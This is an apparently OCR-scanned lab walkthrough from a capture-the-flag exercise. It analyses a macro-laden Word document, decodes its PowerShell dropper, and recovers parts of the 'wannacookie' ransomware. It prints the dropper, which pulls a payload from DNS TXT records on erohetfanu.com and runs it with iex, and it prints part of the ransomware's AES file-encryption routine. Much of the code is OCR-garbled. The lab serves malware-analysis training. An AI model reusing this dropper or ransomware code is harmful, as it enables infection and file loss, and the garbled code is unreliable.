Objective--Identify the Domain (Part 2)

Extracting the malware

This follows Chris Davis’ presentation almost exactly. Remember to do this in a safe VM! After
extracting the Word document from the zip file and installing o1letools, we just run olevba on
CHOCOLATE CHIP COOKIE RECIPE.docm
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Pr e Sub Cumen
Dim cmd As String

End Sub

OLE stream:

End Sub



https://www.youtube.com/watch?v=wd12XRq2DNk

Using Chris’ technique, we copy the dropper into PowerShell, remove the switches that hide execution,
remove iex, and repair the quotes.

PS C:\Users\John\Desktop> powershell.exe -C "sal a New-Object; (a IO.StreamReader ((a
IO.Compression.DeflateStream([I0.Me

moryStream] [Convert]::FromBase64String (' lVHRSsMwEFP2VSwksYUtoWkxxY4iyirdoaB+EMUYoqQlsyU
JToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP
2S01msFA/AKIBt4ddjbChArBInCCGxiAbLOEMiBsfS123MKzrVocNXdfeHU2Im/k8euuiVJIRsZ1Ixdr5UEwWILWG
OKRucFBBP74PABMWMQSopCSVViSZWrebw/
da2uslKt8C6zskiLPJcJyttRjgCI9zehNiQXrIBXispnKP7qY¥Z5S+mM7vijoavXPek9wb4gwmoARN8a2KjXSoqgvw
f+TSakEb+JBH]1eTBQvVVMADEY997NQKaM

SzZurIXpEv4bYsWEcnA51nxQQvGDxr1P8NxH/kMy9gXREohG'), [I0.Compression.CompressionMode] : :D
ecompress) ), [Text.Encoding] : :ASCII

)) .ReadToEnd ()"

This gives us some code that we can read.

function H2A(%a) {3o; %a -split '({..)" LR T | ¥urEach L[ch.:r] [convert]::tointl6(%_,16))} | FforEach
}; return b3 = BEBEB1B36FEFG 52EBDB96EZE H T ch (%1 in @..([com rf] :ToIn
sName -Server erohetfanu.com -Name EF erochetfanu.com"” - e TX ings, 1)) {%h += (Resolwve-DnsMame erver erohe
tfanu.com -Name "$i.%f.erchetfanu.com” -Type TKT}. '+r1ng‘,, iex $|H:H %h | Out-string))

sers\John\Desktop>
function H2A($a) {So; $a -split "(..)"' | 2 { $_} | forEach
{ [char] ([convert]::tointl6($ ,16))} | forEach {$o = $o + $ }; return $o}; $f =
"77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in
0..([convert]::ToInt32 ( (Resolve-DnsName -Server erohetfanu.com -Name

"S$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server
erohetfanu.com -Name "$i.S$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-
string))

We can make the code more readable by putting it into ISE and tinkering with it.

1 Elfunction H2ZA(%a) {

2 fo

3 $a -=plit "({..)° T Ls_ %

4 forEach {[char]([convert]::tointla{%_,16))7}

5 forEach {%fo = %o + 5_}

& return o

7 o}

8 & = "F76lEEREGLG3GFEFEEE965 2ERDEIGEZETOTIIL”

g Sh=""

10 = foreach (37 in 0..{([convert]::ToInt32{({Resolve-DnsName

11 -Server erohetfanu. com -Name "if.erohetfanu.com"
12 -Type TXT).strings, 10)-1))

13 = {

14 E fh += (Resolwe-DnsName -Server erchetfanu.com
15 -Name “51.3%if.erohetfanu.com” -Type TXT).strings
16 |}

17 HZ2A %h Out-File C:husers'john' Desktop'wannacry.min.psl

This is interesting. That long string, 77616E6E61636F6F6B69652E6D696E2E707331, is the same string we
saw in the DNS traffic for the Snort terminal. The domain erohet.fanu.com is serving the malware, but
we don’t know if it is communicating with the malware yet. The malware file we get here is going to be
the same as the file we got when we used tshark to extract the TXT fields from DNS. It is good to know



that the packet capture files and the malicious Word document are the same attack; if they were two
separate attacks, we would have much more work to do.

Start a Wireshark packet capture and then execute the dropper.

When dropper.psl is executing, and we see an identical pattern to the Snort packet capture file.

R

4 muery Gshocd TAT 38,.77)

g (552 vits) on Lemarface &

STy nce_TE 9695 (48158561 1L 90198)

192,168, 583,23

20 30 3¢ f& 00 Ib 08
0 3c 21 1¢ TS a0
57 82 «f 74 20 33 09
20 30 90 30 00 00 du &% & s 7

e Sdtseman o0 - tom

The result is the same ugly code as before. One note: If you replace all semicolons with new lines as
Chris did in his talk, some old fashioned FOR loops in the code will need to be repaired. Also, if you do
the search/replace in Visual Code and use \n, you will need to have Use Regular Expression selected.

File Edit Selection View Go Debug Terminal Help malware.ps1 - Desktop - Visual Studio C

malware.ps1 *

\a a6l # | No Results

Use Regular Expression (Alt+R)

Cleaning the code was tedius, and it turns out that CounterHack has given us a way to avoid cleaning.
The string we saw above is wannacookie.min.ps1 in ASCIl. What happens if we remove the “.min’
from the stringand use " 7761 6E6E61636F6F6B69652E707331" for wannacookie.psl
instead? Changing the dropper.psl code is simple.

4

1 Elfunction HzA(Sa) {

2 o

3 fa -split "(..)° 7L 5%

4 forEach {[char]{[convert]::tointle{$_,16))}

5 forEach {%fo = %o = 5_}

[ return %o

7 L3

8 i = "776leEREGLE36FEFGBEIG52EFDT I3

g Sh=""

10 Hforeach (51 in 0..{([convert]::ToInt32{(Resolve-DnsName

11 -Server erohetfanu.com -Name "%if.erohetfanu.com"
12 -Type TXT).strings, 10)-1))

13 =

14 = ih += (Resolve-DnsName -Server erochetfanu.com
15 -Name "51.3%f.erohetfanu.com” -Type TXT).strings
16 [}

7 H24 ih Qut-File C:\users'john'Desktop'malware-nomin. psl



Much better! The variable names are expanded as well.

| Untitled1.ps1 | dropper.ps] | malware-nomin.ps1 X .

Hand in

Sfunctions = {
function Enc_Dec-File(fkey, %File, fenc_it) {

[byte[]]fkey = Skey
$suffix = " .wannacookie"
[Sy=stem.Reflection. Assemblv] : :LoadwWithPartialName( System. Security.Cryptography ')
[System.Int32]5Key5ize = $key.Length=8
FAESP = New-Object "System.Security.Cryptography.AesManaged’
$AESP.Mode = [System.Security.Cryptography.CipherMode]: :CBC
$AESP.BlockSize = 128
$AESP . KeySize = iKeysize
$AESP.Key = fkey
$F11e5R = New-Dbject System.IO.FileStream(%File, [System.IO.FileMode]: :0pen)
if ($enc_it) {SDestFile = $File + $Suffix} else {SDestFile = (§File -replace $5uffix)}
$F11e5W = New-Dbject System.IO.FileStream(iDestFile, [System.IO.FileMode]: :Create)
it (fenc_it) {
$AESP. GenerateIV()
$Filesw. Write([System.BitConverter]::GetBytes (3AESP.IV.Length), 0, 4)
§FileSW.Write(SAESP.IV, 0, SAESP.IV.Length)
$Transform = IAESP.CreateEncryptor ()
1 else {
[Byte[]]iLenIV = New-Object Byte[] 4
$FileSR. Seek(0, [System.IO0.SeekOrigin]::Begin) Out-Null

1) At this point it should be easy to determine the name of the domain this malware
communicates with. What is it?

2) To prepare for the objectives ahead, it will be wise to start examining the code. Make a table
that lists each function, and the function’s purpose. The final function, wannacookie, is the
main function of the program; you can omit that for now.



